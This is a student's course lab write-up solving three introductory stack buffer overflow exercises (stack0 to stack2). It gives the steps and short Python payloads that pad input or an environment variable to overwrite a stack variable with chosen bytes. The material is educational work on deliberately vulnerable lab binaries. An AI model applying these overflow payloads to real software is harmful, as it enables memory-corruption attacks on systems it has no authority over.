Kyle Hutto
CSCE 451-501
3 April 2020

Stack 0

Goal: change a variable on the stack to any value

Steps:

1. Use following command:

   ```
   python -c "print 'A'*500" | ./stack0
   ```

   This overflows the buffer and writes the excess onto the stack where “modified” is stored. The value is overwritten by ‘A’
2. Successfully prints: you have changed the modified variable

Stack 1

Goal: Change a specific stack variable to 0x61626364

Steps:

1. Find where modified is on stack

   Keep adding characters to the input until modified begins to be overwritten
2. Set padding of characters to end at modified.
3. Append the desired value of modified to the end of the padding

Following code was used:

```
import subprocess

myarg = 'A'*76                      #76 is where modified begins
myarg += '\x64\x63\x62\x61'         #needs to be 0x61626364 in little endian

subprocess.call(["./stack1", myarg])
```

Stack 2

Goal: Change a specific stack vaiable to 0x0d0a0d0a using environment variables

Steps:

1. Find where modified is on stack
   Keep adding characters to the input until modified begins to be overwritten
2. Set padding of characters to end at modified.
3. Append the desired value of modified to the end of the padding

This one is exactly the same as stack 1 except the payload need to be put in a specific environment variable instead.

The following code was used:

```
import os
import subprocess

envValue = 'A'*68 #padding
envValue += '\x0a\x0d\x0a\x0d' #payload
os.environ["GREENIE"] = envValue

subprocess.call(['./stack2'])
```